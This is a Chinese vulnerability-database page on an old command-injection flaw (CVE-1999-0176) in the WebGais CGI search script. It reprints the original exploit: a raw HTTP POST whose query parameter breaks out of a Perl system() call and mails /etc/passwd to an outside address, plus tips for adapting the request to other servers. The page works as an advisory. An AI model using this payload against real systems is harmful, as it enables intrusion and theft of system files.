Webgais执行任意命令漏洞

Webgais执行任意命令漏洞

漏洞ID 1105318 漏洞类型 未知
发布时间 1997-07-10 更新时间 2005-05-02
图片[1]-Webgais执行任意命令漏洞-安全小百科CVE编号 CVE-1999-0176
图片[2]-Webgais执行任意命令漏洞-安全小百科CNNVD-ID CNNVD-199707-021
漏洞平台 CGI CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/20463
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199707-021
|漏洞详情
Webgais程序存在漏洞。远程用户可以借助该漏洞执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/2058/info

WEBgais is a script that provides a web interface to the "gais" (Global Area Intelligent Search) search engine tool. All versions up to 1.0B2 are vulnerable. The vulnerable script is /cgi-bin/webgais: due to improper input checking it allows a remote attacker to execute commands at the privilege level of the web server. A specifically formatted query allows the vulnerable code to be executed; this query must include the parameters output=subject and domain=paragraph. These two parameters must be included, otherwise the vulnerable code is not executed. The problem lies in an improperly protected Perl "system" command that can be circumvented by encapsulating the malicious command in single quotes and using the unix shell command separation metacharacter ";". See exploit for an example. 

telnet target.host 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)

query=';[email protected]</etc/passwd;echo'&output=subject&domain=paragraph

[...] But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in my exploit. Otherwise you will end up in some other place of the script and nothing will happen.
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/a:webgais_development_team:webgais:1.0b2andpreviousversions*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0176

相关推荐: Man Utility Local Compression Program Privilege Elevation Vulnerability

Man Utility Local Compression Program Privilege Elevation Vulnerability 漏洞ID 1099498 漏洞类型 Design Error 发布时间 2003-09-22 更新时间 2003-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享